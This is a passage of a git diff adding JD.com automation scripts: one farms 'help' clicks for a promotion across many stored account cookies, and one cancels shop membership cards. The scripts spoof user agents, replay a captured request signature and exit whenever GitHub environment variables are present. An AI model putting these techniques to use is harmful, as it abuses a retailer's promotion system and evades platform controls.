e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_tyt_ks.js b/jd_tyt_ks.js new file mode 100644 index 0000000..384c49d --- /dev/null +++ b/jd_tyt_ks.js @@ -0,0 +1,556 @@ +/* +分享到QQ查看邀请码 packetId就是 +#自定义变量 +export tytpacketId="" + [task_local] +#推一推助力码 +0 0 * * * jd_tyt.js, tag=推一推, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +注意:助力码每天会变,旧的不可用。 +助力逻辑:优先助力互助码变量 +入口-极速版-推推赚大钱 5元无门槛卷 大概需要50人助力 +*/ +const $ = new Env('推推赚大钱-快速'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` +var status = 0 + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = '', + message; +let tytpacketId = ''; +if (process.env.tytpacketId) { + tytpacketId = process.env.tytpacketId; +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + // if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + console.log("推一推开始") + for (let i = cookiesArr.length - 1; i > 0; i--) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + if (status == 1) { + break + } + await tythelp() + await $.wait(15000) + } + } + console.log("推一推结束") +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function tythelp() { + return new Promise(async(resolve) => { + let options = { + url: `https://api.m.jd.com/?t=1623066557140`, + + body: `functionId=helpCoinDozer&appid=station-soa-h5&client=H5&clientVersion=1.0.0&t=1623120183787&body={"actId":"3075b6eab065464dad1c4042d345ac97","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s","packetId":"${tytpacketId}","helperStatus":"0"}&_ste=1&_stk=appid,body,client,clientVersion,functionId,t&h5st=20210608104303790;8489907903583162;10005;tk01w89681aa9a8nZDdIanIyWnVuWFLK4gnqY+05WKcPY3NWU2dcfa73B7PBM7ufJEN0U+4MyHW5N2mT/RNMq72ycJxH;7e6b956f1a8a71b269a0038bbb4abd24bcfb834a88910818cf1bdfc55b7b96e5`, + headers: { + "Origin": "https://pushgold.jd.com", + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "User-Agent": ua, + "Cookie": cookie, + } + } + + $.post(options, async(err, resp, data) => { + try { + data = JSON.parse(data); + + if (data.code == 0) { + console.log("帮砍:" + data.data.amount) + + } else if (data.msg.indexOf("完成") != -1) { + console.log("已完成砍价") + status = 1 + } else { + if (data.msg !== "need verify"){ + console.log(data.msg) + } + console.log(data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +async function taskPostUrl(functionId, body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + + +async function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + // let t = ["", "==============📣系统通知📣=============="]; + // t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + // t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_unbind.js b/jd_unbind.js new file mode 100644 index 0000000..eb9cf89 --- /dev/null +++ b/jd_unbind.js @@ -0,0 +1,284 @@ +/* +注销京东会员卡 +是注销京东已开的店铺会员,不是京东plus会员 +查看已开店铺会员入口:我的=>我的钱包=>卡包 + */ +const $ = new Env('注销京东会员卡'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const jdNotify = $.getdata('jdUnbindCardNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 +let cardPageSize = 20;// 运行一次取消多少个会员卡。数字0表示不注销任何会员卡 +let stopCards = `京东PLUS会员`;//遇到此会员卡跳过注销,多个使用&分开 +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】注销京东会员卡失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.unsubscribeCount = 0 + $.cardList = [] + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdUnbind(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdUnbind() { + await getCards() + await unsubscribeCards() +} +async function unsubscribeCards() { + let count = 0 + $.pushcardList=[] + for (let item of $.cardList) { + if (count === cardPageSize * 1){ + console.log(`已达到设定数量:${cardPageSize * 1}`) + break + } + if (stopCards && (item.brandName && stopCards.includes(item.brandName))) { + console.log(`匹配到了您设定的会员卡【${item.brandName}】不再进行取消关注会员卡`) + continue; + } + console.log(`去注销会员卡【${item.brandName}】`) + let res = await unsubscribeCard(item.brandId); + $.pushcardList.push(`去注销会员卡【${item.brandName}】`) + $.pushcardList.push(`https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${item.brandId}`) + // if (res['success']) { + // if (res['busiCode'] === '200') { + // count++; + // $.unsubscribeCount ++ + // } + // } + // await $.wait(1000) + } + + let push_len = $.pushcardList.length + let push_lena = parseInt(push_len/20) + let push_lenb = push_len%20 + + if (push_lena == 0) { + let tg_text = '' + for (a = 0; a < push_len; a++){ + tg_text = tg_text + $.pushcardList[a] + '\n' + } + await notify.sendNotify(`京东会员卡注消链接`, `【京东账号${$.index}】${$.UserName}\n${tg_text}`); + } else { + let step = 0 + for (step = 0; step < push_lena; step++){ + let tg_text = '' + for (a = 0; a < 20; a++){ + tg_text = tg_text + $.pushcardList[a+step*20] + '\n' + } + await notify.sendNotify(`京东会员卡注消链接`, `【京东账号${$.index}】${$.UserName}\n${tg_text}`); + } + + let tg_text = '' + for (b = 0; b < push_lenb; b++){ + tg_text = tg_text + $.pushcardList[b+step*20] + '\n' + } + await notify.sendNotify(`京东会员卡注消链接`, `【京东账号${$.index}】${$.UserName}\n${tg_text}`); + } + +} +function showMsg() { + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); + } else { + $.log(`\n【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); + } +} +function getCards() { + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}client.action?functionId=getWalletReceivedCardList_New`, + body: 'body=%7B%22v%22%3A%224.3%22%2C%22version%22%3A1580659200%7D&build=167668&client=apple&clientVersion=9.5.4&openudid=c5eb641f1e40b339e2e111619f22ef1e5fdc7834&rfs=0000&scope=01&sign=c18a161ddaf21f44e9cd56a8db29362e&st=1621407560442&sv=101', + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.cardsTotalNum = data.result.cardList ? data.result.cardList.length : 0; + $.cardList = data.result.cardList || [] + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + console.log($.cardList) + }); + }) +} +function unsubscribeCard(vendorId) { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}unBindCard?appid=jd_shop_member&functionId=unBindCard&body=%7B%22venderId%22:%22${vendorId}%22%7D&clientVersion=1.0.0&client=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + 'origin': 'https://shopmember.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like 